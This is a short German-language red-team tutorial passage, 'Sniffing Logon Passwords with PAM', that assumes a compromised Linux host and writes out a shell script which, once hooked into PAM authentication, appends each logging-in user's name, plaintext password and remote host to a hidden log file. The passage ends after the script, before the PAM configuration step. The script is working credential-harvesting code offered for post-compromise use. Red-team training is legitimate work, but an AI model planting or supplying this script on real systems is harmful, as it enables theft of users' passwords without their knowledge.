Sniffing Logon Passwords with PAM

Grundsätzliches

• Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizierung auf verschiedene Weise zu erzwingen.
• Angenommen, während einer Red-Team-Übung wurde ein Linux-Host kompromittiert.
• Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt.

Erstellung des Skripts

• cat /usr/local/bin/toomanysecrets.sh

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log